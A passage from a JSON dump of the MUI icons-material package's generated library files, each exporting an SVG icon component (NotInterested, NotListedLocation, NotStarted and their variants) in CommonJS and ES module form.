2-2.83 2M2.81 2.81 1.39 4.22 10 12.83V15c0 1.1.9 2 2 2h2.17l5.61 5.61 1.41-1.41z\"\n}), 'NotAccessibleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessibleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m9 9v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.24-.24-.44-.36-.63-.46-.36-.19-.72-.3-1.2-.26-.49.04-.91.27-1.23.61L14 11.05c1.29 1.07 3.25 1.94 5 1.95m-9 7c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2M2.81 2.81 1.39 4.22 10 12.83V15c0 1.1.9 2 2 2h2.17l5.61 5.61 1.41-1.41z\"\n}), 'NotAccessibleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterested.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'NotInterested');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterested.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'NotInterested');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterestedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'NotInterestedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterestedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'NotInterestedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterestedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'NotInterestedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterestedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'NotInterestedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterestedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'NotInterestedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterestedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'NotInterestedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterestedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m0-18c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9L7.1 5.69C8.45 4.63 10.15 4 12 4M5.69 7.1 16.9 18.31C15.55 19.37 13.85 20 12 20c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9\"\n}), 'NotInterestedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotInterestedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m0-18c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9L7.1 5.69C8.45 4.63 10.15 4 12 4M5.69 7.1 16.9 18.31C15.55 19.37 13.85 20 12 20c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9\"\n}), 'NotInterestedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m.88 13.75h-1.75V14h1.75zm0-2.87h-1.75c0-2.84 2.62-2.62 2.62-4.38 0-.96-.79-1.75-1.75-1.75s-1.75.79-1.75 1.75H8.5C8.5 6.57 10.07 5 12 5s3.5 1.57 3.5 3.5c0 2.19-2.62 2.41-2.62 4.38\"\n}), 'NotListedLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m.88 13.75h-1.75V14h1.75zm0-2.87h-1.75c0-2.84 2.62-2.62 2.62-4.38 0-.96-.79-1.75-1.75-1.75s-1.75.79-1.75 1.75H8.5C8.5 6.57 10.07 5 12 5s3.5 1.57 3.5 3.5c0 2.19-2.62 2.41-2.62 4.38\"\n}), 'NotListedLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 16c-.27 0-.52-.1-.71-.29-.2-.2-.29-.43-.29-.71-.01-.55.43-.99.98-1h.02c.28 0 .51.1.71.29.18.19.28.43.28.7s-.1.51-.29.71-.43.3-.7.3m-.88-3.66c0-.45.1-.84.29-1.16.19-.33.53-.7 1-1.12.28-.25.48-.47.61-.66s.19-.4.19-.64c0-.29-.11-.53-.32-.74-.21-.2-.5-.3-.85-.3-.37 0-.74.1-.96.3-.21.2-.4.45-.4.98H9c0-1.01.46-1.73.97-2.21C10.53 6.28 11.25 6 12 6c.59 0 1.11.12 1.57.35s.79.55 1.05.96.38.86.38 1.35-.1.9-.31 1.25-.48.71-.89 1.09c-.32.3-.53.56-.65.77s-.18.49-.18.81V13h-1.85v-.66zM18 10.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'NotListedLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 16c-.27 0-.52-.1-.71-.29-.2-.2-.29-.43-.29-.71-.01-.55.43-.99.98-1h.02c.28 0 .51.1.71.29.18.19.28.43.28.7s-.1.51-.29.71-.43.3-.7.3m-.88-3.66c0-.45.1-.84.29-1.16.19-.33.53-.7 1-1.12.28-.25.48-.47.61-.66s.19-.4.19-.64c0-.29-.11-.53-.32-.74-.21-.2-.5-.3-.85-.3-.37 0-.74.1-.96.3-.21.2-.4.45-.4.98H9c0-1.01.46-1.73.97-2.21C10.53 6.28 11.25 6 12 6c.59 0 1.11.12 1.57.35s.79.55 1.05.96.38.86.38 1.35-.1.9-.31 1.25-.48.71-.89 1.09c-.32.3-.53.56-.65.77s-.18.49-.18.81V13h-1.85v-.66zM18 10.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'NotListedLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.22.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m.01 14c-.59 0-1.05-.47-1.05-1.05 0-.59.47-1.04 1.05-1.04.59 0 1.04.45 1.04 1.04 0 .58-.44 1.05-1.04 1.05m2.51-6.17c-.63.93-1.23 1.21-1.56 1.81-.08.14-.13.26-.16.49-.05.39-.36.68-.75.68h-.03c-.44 0-.79-.38-.75-.82.03-.27.09-.57.25-.84.41-.73 1.18-1.16 1.63-1.8.48-.68.21-1.94-1.14-1.94-.61 0-1.01.32-1.26.7-.19.29-.57.39-.89.25-.42-.18-.6-.7-.34-1.07C10.03 6.55 10.88 6 12 6c1.23 0 2.08.56 2.51 1.26.36.61.58 1.73.01 2.57\"\n}), 'NotListedLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.22.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m.01 14c-.59 0-1.05-.47-1.05-1.05 0-.59.47-1.04 1.05-1.04.59 0 1.04.45 1.04 1.04 0 .58-.44 1.05-1.04 1.05m2.51-6.17c-.63.93-1.23 1.21-1.56 1.81-.08.14-.13.26-.16.49-.05.39-.36.68-.75.68h-.03c-.44 0-.79-.38-.75-.82.03-.27.09-.57.25-.84.41-.73 1.18-1.16 1.63-1.8.48-.68.21-1.94-1.14-1.94-.61 0-1.01.32-1.26.7-.19.29-.57.39-.89.25-.42-.18-.6-.7-.34-1.07C10.03 6.55 10.88 6 12 6c1.23 0 2.08.56 2.51 1.26.36.61.58 1.73.01 2.57\"\n}), 'NotListedLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 16a.99.99 0 0 0 1-1 .99.99 0 0 0-1-1c-.28 0-.51.1-.71.29s-.3.43-.3.7.1.51.29.71q.3.3.72.3m-.88-3.66V13h1.85v-.42q0-.495.18-.81c.12-.21.33-.47.65-.77.4-.38.68-.75.89-1.09.19-.35.3-.76.3-1.25s-.13-.94-.39-1.35a2.57 2.57 0 0 0-1.05-.96C13.11 6.12 12.58 6 12 6c-.78 0-1.51.32-2.03.79C9.46 7.27 9 7.99 9 9h1.68c0-.52.19-.77.4-.98.21-.2.58-.3.96-.3.35 0 .64.1.85.3s.32.45.32.74c0 .24-.06.46-.19.64-.13.19-.33.41-.61.66-.48.42-.81.79-1 1.12s-.28.71-.28 1.16M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'NotListedLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 16a.99.99 0 0 0 1-1 .99.99 0 0 0-1-1c-.28 0-.51.1-.71.29s-.3.43-.3.7.1.51.29.71q.3.3.72.3m-.88-3.66V13h1.85v-.42q0-.495.18-.81c.12-.21.33-.47.65-.77.4-.38.68-.75.89-1.09.19-.35.3-.76.3-1.25s-.13-.94-.39-1.35a2.57 2.57 0 0 0-1.05-.96C13.11 6.12 12.58 6 12 6c-.78 0-1.51.32-2.03.79C9.46 7.27 9 7.99 9 9h1.68c0-.52.19-.77.4-.98.21-.2.58-.3.96-.3.35 0 .64.1.85.3s.32.45.32.74c0 .24-.06.46-.19.64-.13.19-.33.41-.61.66-.48.42-.81.79-1 1.12s-.28.71-.28 1.16M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'NotListedLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18.5 10.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 15.99 5.5 12.77 5.5 10.2c0-3.84 2.82-6.7 6.5-6.7s6.5 2.85 6.5 6.7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 16c-.27 0-.52-.1-.71-.29-.2-.2-.29-.43-.29-.71-.01-.55.43-.99.98-1h.02c.28 0 .51.1.71.29.18.19.28.43.28.7s-.1.51-.29.71-.43.3-.7.3m-.88-3.66c0-.45.1-.84.29-1.16.19-.33.53-.7 1-1.12.28-.25.48-.47.61-.66s.19-.4.19-.64c0-.29-.11-.53-.32-.74-.21-.2-.5-.3-.85-.3-.37 0-.74.1-.96.3-.21.2-.4.45-.4.98H9c0-1.01.46-1.73.97-2.21C10.53 6.28 11.25 6 12 6c.59 0 1.11.12 1.57.35.88.43 1.43 1.33 1.43 2.31 0 .49-.1.9-.31 1.25s-.48.71-.89 1.09c-.32.3-.53.56-.65.77s-.18.49-.18.81V13h-1.85v-.66zM18 10.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}, \"1\")], 'NotListedLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotListedLocationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18.5 10.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 15.99 5.5 12.77 5.5 10.2c0-3.84 2.82-6.7 6.5-6.7s6.5 2.85 6.5 6.7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 16c-.27 0-.52-.1-.71-.29-.2-.2-.29-.43-.29-.71-.01-.55.43-.99.98-1h.02c.28 0 .51.1.71.29.18.19.28.43.28.7s-.1.51-.29.71-.43.3-.7.3m-.88-3.66c0-.45.1-.84.29-1.16.19-.33.53-.7 1-1.12.28-.25.48-.47.61-.66s.19-.4.19-.64c0-.29-.11-.53-.32-.74-.21-.2-.5-.3-.85-.3-.37 0-.74.1-.96.3-.21.2-.4.45-.4.98H9c0-1.01.46-1.73.97-2.21C10.53 6.28 11.25 6 12 6c.59 0 1.11.12 1.57.35.88.43 1.43 1.33 1.43 2.31 0 .49-.1.9-.31 1.25s-.48.71-.89 1.09c-.32.3-.53.56-.65.77s-.18.49-.18.81V13h-1.85v-.66zM18 10.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}, \"1\")], 'NotListedLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStarted.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm1 0V8l5 4z\"\n}), 'NotStarted');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStarted.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm1 0V8l5 4z\"\n}), 'NotStarted');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStartedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 6H9v8h2zm6 4-5-4v8z\"\n}), 'NotStartedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStartedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 6H9v8h2zm6 4-5-4v8z\"\n}), 'NotStartedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStartedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 13c0 .55-.45 1-1 1s-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1zm5.02-2.22-2.4 1.92c-.65.52-1.62.06-1.62-.78v-3.84c0-.84.97-1.3 1.62-.78l2.4 1.92c.5.4.5 1.16 0 1.56\"\n}), 'NotStartedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStartedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 13c0 .55-.45 1-1 1s-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1zm5.02-2.22-2.4 1.92c-.65.52-1.62.06-1.62-.78v-3.84c0-.84.97-1.3 1.62-.78l2.4 1.92c.5.4.5 1.16 0 1.56\"\n}), 'NotStartedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStartedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm1 0V8l5 4z\"\n}), 'NotStartedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStartedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 14H9V8h2zm1 0V8l5 4z\"\n}), 'NotStartedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStartedTwoTone.js",
